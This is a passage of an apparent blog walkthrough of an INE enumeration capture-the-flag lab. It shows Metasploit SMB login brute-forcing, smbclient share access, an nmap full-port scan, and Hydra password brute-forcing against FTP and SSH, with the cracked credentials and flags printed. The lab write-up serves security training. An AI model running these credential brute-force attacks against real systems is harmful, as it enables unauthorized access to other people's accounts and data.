credentials.</p><pre><br>┌──(root㉿INE)-[~]<br>└─# service postgresql start &amp;&amp; msfconsole -q                                                                                                              <br>Starting PostgreSQL 16 database server: main.<br>msf6 &gt; setg RHOSTS target.ine.local<br>RHOSTS =&gt; target.ine.local<br>msf6 &gt; search smb_login<br><br>Matching Modules<br>================<br><br>   #  Name                             Disclosure Date  Rank    Check  Description<br>   -  ----                             ---------------  ----    -----  -----------<br>   0  auxiliary/scanner/smb/smb_login  .                normal  No     SMB Login Check Scanner<br><br><br>Interact with a module by name or index. For example info 0, use 0 or use auxiliary/scanner/smb/smb_login<br><br>msf6 &gt; use 0<br>[*] New in Metasploit 6.4 - The CreateSession option within this module can open an interactive session<br>msf6 auxiliary(scanner/smb/smb_login) &gt; show options<br><br>Module options (auxiliary/scanner/smb/smb_login):<br><br>   Name               Current Setting   Required  Description<br>   ----               ---------------   --------  -----------<br>   ABORT_ON_LOCKOUT   false             yes       Abort the run when an account lockout is detected<br>   ANONYMOUS_LOGIN    false             yes       Attempt to login with a blank username and password<br>   BLANK_PASSWORDS    false             no        Try blank passwords for all users<br>   BRUTEFORCE_SPEED   5                 yes       How fast to bruteforce, from 0 to 5<br>   CreateSession      false             no        Create a new session for every successful login<br>   DB_ALL_CREDS       false             no        Try each user/password couple stored in the current database<br>   DB_ALL_PASS        false             no        Add all passwords in the current database to the list<br>   DB_ALL_USERS       false             no        Add all users in the current database to the list<br>   DB_SKIP_EXISTING   none              no        Skip existing credentials stored in the current database (Accepted: none, user, user&amp;realm)<br>   DETECT_ANY_AUTH    false             no        Enable detection of systems accepting any authentication<br>   DETECT_ANY_DOMAIN  false             no        Detect if domain is required for the specified user<br>   PASS_FILE                            no        File containing passwords, one per line<br>   PRESERVE_DOMAINS   true              no        Respect a username that contains a domain name.<br>   Proxies                              no        A proxy chain of format type:host:port[,type:host:port][...]<br>   RECORD_GUEST       false             no        Record guest-privileged random logins to the database<br>   RHOSTS             target.ine.local  yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html<br>   RPORT              445               yes       The SMB service port (TCP)<br>   SMBDomain          .                 no        The Windows domain to use for authentication<br>   SMBPass                              no        The password for the specified username<br>   SMBUser                              no        The username to authenticate as<br>   STOP_ON_SUCCESS    false             yes       Stop guessing when a credential works for a host<br>   THREADS            1                 yes       The number of concurrent threads (max one per host)<br>   USERPASS_FILE                        no        File containing users and passwords separated by space, one pair per line<br>   USER_AS_PASS       false             no        Try the username as the password for all users<br>   USER_FILE                            no        File containing usernames, one per line<br>   VERBOSE            true              yes       Whether to print output for all attempts<br><br><br>View the full module info with the info, or info -d command.<br><br>msf6 auxiliary(scanner/smb/smb_login) &gt; set USER_FILE users.txt<br>USER_FILE =&gt; users.txt<br>msf6 auxiliary(scanner/smb/smb_login) &gt; set PASS_FILE /root/Desktop/wordlists/unix_passwords.txt<br>PASS_FILE =&gt; /root/Desktop/wordlists/unix_passwords.txt<br>msf6 auxiliary(scanner/smb/smb_login) &gt; set VERBOSE false<br>VERBOSE =&gt; false<br>msf6 auxiliary(scanner/smb/smb_login) &gt; run<br><br>[+] 192.196.167.3:445     - 192.196.167.3:445 - Success: &#39;.\josh:purple&#39;<br>[+] 192.196.167.3:445     - 192.196.167.3:445 - Success: &#39;.\alice:admin&#39;<br>[+] 192.196.167.3:445     - 192.196.167.3:445 - Success: &#39;.\Administrator:admin&#39;<br>[+] 192.196.167.3:445     - 192.196.167.3:445 - Success: &#39;.\nobody:admin&#39;<br>[*] target.ine.local:445  - Scanned 1 of 1 hosts (100% complete)<br>[*] target.ine.local:445  - Bruteforce completed, 4 credentials were successful.<br>[*] target.ine.local:445  - You can open an SMB session with these credentials and CreateSession set to true<br>[*] Auxiliary module execution completed</pre><p>I made use of this credentials to access shares with the same username and was able to capture <strong>flag 2</strong> using smbclient.</p><pre>┌──(root㉿INE)-[~]<br>└─# smbclient \\\\target.ine.local\\josh -U josh<br>Password for [WORKGROUP\josh]:<br>Try &quot;help&quot; to get a list of possible commands.<br>smb: \&gt; ls<br>  .                                   D        0  Fri Jan  3 01:49:26 2025<br>  ..                                  D        0  Tue Nov 19 10:44:41 2024<br>  flag2.txt                           N      119  Fri Jan  3 01:49:26 2025<br><br>                1981311780 blocks of size 1024. 106630404 blocks available<br>smb: \&gt; get flag2.txt<br>getting file \flag2.txt of size 119 as flag2.txt (58.1 KiloBytes/sec) (average 58.1 KiloBytes/sec)<br>smb: \&gt; exit<br><br>┌──(root㉿INE)-[~]<br>└─# cat flag2.txt                                                                                                                                          <br>FLAG2{c961f955bb364dba8236fea9af25986a}<br><br>Psst! I heard there is an FTP service running. Find it and check the banner. </pre><p><strong>FTP Service Discovery</strong>:<br>A missed service in the initial scan led to the discovery of an FTP service (always ensure to scan the entire port range for situations like this).</p><pre>┌──(root㉿INE)-[~]<br>└─# nmap -sVSC -p- -O target.ine.local<br>Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-03 03:11 IST<br>Nmap scan report for target.ine.local (192.196.167.3)<br>Host is up (0.000072s latency).<br>Not shown: 65531 closed tcp ports (reset)<br>PORT     STATE SERVICE     VERSION<br>22/tcp   open  ssh         OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)<br>| ssh-hostkey: <br>|   3072 bb:ca:49:7e:f5:5c:6e:bf:8a:55:a1:69:d9:c9:18:01 (RSA)<br>|   256 da:06:c1:ab:e7:6f:14:b9:50:d5:43:a7:47:ab:80:ce (ECDSA)<br>|_  256 a1:5c:ab:22:6b:c2:f1:5c:5a:7a:5a:d8:e7:81:e2:33 (ED25519)<br>139/tcp  open  netbios-ssn Samba smbd 4.6.2<br>445/tcp  open  netbios-ssn Samba smbd 4.6.2<br>5554/tcp open  ftp         vsftpd 2.0.8 or later<br>MAC Address: 02:42:C0:C4:A7:03 (Unknown)<br>Device type: general purpose<br>Running: Linux 5.X<br>OS CPE: cpe:/o:linux:linux_kernel:5<br>OS details: Linux 5.0 - 5.5<br>Network Distance: 1 hop<br>Service Info: Host: blah; OS: Linux; CPE: cpe:/o:linux:linux_kernel<br><br>Host script results:<br>|_nbstat: NetBIOS name: TARGET, NetBIOS user: &lt;unknown&gt;, NetBIOS MAC: &lt;unknown&gt; (unknown)<br>| smb2-time: <br>|   date: 2025-01-02T21:41:16<br>|_  start_date: N/A<br>| smb2-security-mode: <br>|   3:1:1: <br>|_    Message signing enabled but not required<br><br>OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .<br>Nmap done: 1 IP address (1 host up) scanned in 17.40 seconds</pre><p>I tried to figure out if the ftp service permits anonymous access, which it didn’t but gave me more information on other users present on the network.</p><pre>─(root㉿INE)-[~]<br>└─# ftp target.ine.local 5554                                                                                                                              <br>Connected to target.ine.local.<br>220 Welcome to blah FTP service. Reminder to users, specifically ashley, alice and amanda to change their weak passwords immediately!!!<br>Name (target.ine.local:root): anonymous<br>331 Please specify the password.<br>Password: <br>530 Login incorrect.<br>ftp: Login failed<br>ftp&gt; <br>ftp&gt; <br>ftp&gt; exit<br>221 Goodbye.</pre><p>I added this usernames to the custom user file I created and did a brute-force with hydra.</p><pre>hydra -L users.txt -P /root/Desktop/wordlists/unix_passwords.txt ftp://target.ine.local:5554<br>Hydra v9.5 (c) 2023 by van Hauser/THC &amp; David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).<br><br>Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-01-03 03:16:37<br>[DATA] max 16 tasks per 1 server, overall 16 tasks, 8072 login tries (l:8/p:1009), ~505 tries per task<br>[DATA] attacking ftp://target.ine.local:5554/<br>[STATUS] 319.00 tries/min, 319 tries in 00:01h, 7753 to do in 00:25h, 16 active<br>[STATUS] 293.33 tries/min, 880 tries in 00:03h, 7192 to do in 00:25h, 16 active<br>[STATUS] 290.86 tries/min, 2036 tries in 00:07h, 6036 to do in 00:21h, 16 active<br>[5554][ftp] host: target.ine.local   login: alice   password: pretty<br>[STATUS] 354.00 tries/min, 5310 tries in 00:15h, 2762 to do in 00:08h, 16 active<br>^CThe session file ./hydra.restore was written. Type &quot;hydra -R&quot; to resume session.</pre><p>Attempted a login with the valid credential gotten and <strong>flag 3</strong> was captured.</p><pre>┌──(root㉿INE)-[~]<br>└─# ftp target.ine.local 5554<br>Connected to target.ine.local.<br>220 Welcome to blah FTP service. Reminder to users, specifically ashley, alice and amanda to change their weak passwords immediately!!!<br>Name (target.ine.local:root): alice<br>331 Please specify the password.<br>Password: <br>230 Login successful.<br>Remote system type is UNIX.<br>Using binary mode to transfer files.<br>ftp&gt; ls<br>229 Entering Extended Passive Mode (|||29032|)<br>150 Here comes the directory listing.<br>-rw-rw-r--    1 0        0              40 Jan 02 20:19 flag3.txt<br>226 Directory send OK.<br>ftp&gt; get flag3.txt<br>local: flag3.txt remote: flag3.txt<br>229 Entering Extended Passive Mode (|||22128|)<br>150 Opening BINARY mode data connection for flag3.txt (40 bytes).<br>100% |**************************************************************************************************************|    40      868.05 KiB/s    00:00 ETA<br>226 Transfer complete.<br>40 bytes received in 00:00 (109.72 KiB/s)<br>ftp&gt; exit<br>221 Goodbye.<br><br>┌──(root㉿INE)-[~]<br>└─# cat flag3.txt                                                                                                                                          <br>FLAG3{f9a51e121d34453799b33a2228dd44a1}</pre><p><strong>SSH Brute-Force</strong>:<br>I repeated the brute-forcing process for SSH, logged in with the valid credential and successfully captured <strong>flag 4</strong> using Hydra.</p><pre>┌──(root㉿INE)-[~]<br>└─# hydra -L users.txt -P /root/Desktop/wordlists/unix_passwords.txt ssh://target.ine.local                                                             <br>Hydra v9.5 (c) 2023 by van Hauser/THC &amp; David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).<br><br>Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-01-03 03:20:29<br>[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4<br>[DATA] max 16 tasks per 1 server, overall 16 tasks, 8072 login tries (l:8/p:1009), ~505 tries per task<br>[DATA] attacking ssh://target.ine.local:22/<br>[STATUS] 133.00 tries/min, 133 tries in 00:01h, 7942 to do in 00:60h, 13 active<br>[STATUS] 92.00 tries/min, 276 tries in 00:03h, 7799 to do in 01:25h, 13 active<br>[STATUS] 85.86 tries/min, 601 tries in 00:07h, 7474 to do in 01:28h, 13 active<br>[STATUS] 85.60 tries/min, 1284 tries in 00:15h, 6791 to do in 01:20h, 13 active<br>[STATUS] 86.32 tries/min, 2676 tries in 00:31h, 5399 to do in 01:03h, 13 active<br>[22][ssh] host: target.ine.local   login: alice   password: pretty<br>^CThe session file ./hydra.restore was written. Type &quot;hydra -R&quot; to resume session.</pre><pre>(root㉿INE)-[~]<br>└─# ssh alice@target.ine.local<br>********************************************************************<br>*                                                                  *<br>*            WARNING: Unauthorized access to this system           *<br>*            is strictly prohibited and may be subject to          *<br>*            criminal prosecution.                                 *<br>*                                                                  *<br>*            This system is for authorized users only.             *<br>*            All activities on this system are monitored           *<br>*            and recorded.                                         *<br>*                                                                  *<br>*            By accessing this system, you consent to              *<br>*            such monitoring and recording.                        *<br>*                                                                  *<br>*            If you are not an authorized user,                    *<br>*            disconnect immediately.                               *<br>*                                                                  *<br>********************************************************************<br>*                                                                  *<br>*    Is this what you&#39;re looking for?: FLAG4{7f11758c2e854b9a886801dba34f1f6c}       *<br>*                                                                  *<br>********************************************************************<br>alice@target.ine.local&#39;s password: <br>Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 6.8.0-40-generic x86_64)<br><br> * Documentation:  https://help.ubuntu.com<br> * Management:     https://landscape.canonical.com<br> * Support:        https://ubuntu.com/pro<br><br>This system has been minimized by removing packages and content that are<br>not required on a system that users do not log into.<br><br>To restore this content, you can run the &#39;unminimize&#39; command.<br><br>The programs included with the Ubuntu system are free software;<br>the exact distribution terms for each program are described in the<br>individual files in /usr/share/doc/*/copyright.<br><br>Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by<br>applicable law.<br><br><br>The programs included with the Ubuntu system are free software;<br>the exact distribution terms for each program are described in the<br>individual files in /usr/share/doc/*/copyright.<br><br>Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by<br>applicable law.<br><br>This account is currently not available.<br>Connection to target.ine.local closed.<br><br></pre><p><strong>Conclusion</strong>:<br>This walkthrough showcases a systematic approach to enumeration and credential harvesting in penetration testing. It’s a great example of how combining different tools and techniques can lead to a successful CTF solution.</p><p>🔗 Check out the scripts on <strong>GitHub</strong>: <a href="https://github.com/joyashidi/INE-Enumeration-CTF1-A-Comprehensive-Penetration-Testing-Approach/tree/main">https://github.com/joyashidi/INE-Enumeration-CTF1-A-Comprehensive-Penetration-Testing-Approach/tree/main</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=25b8bb7ba1fe" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>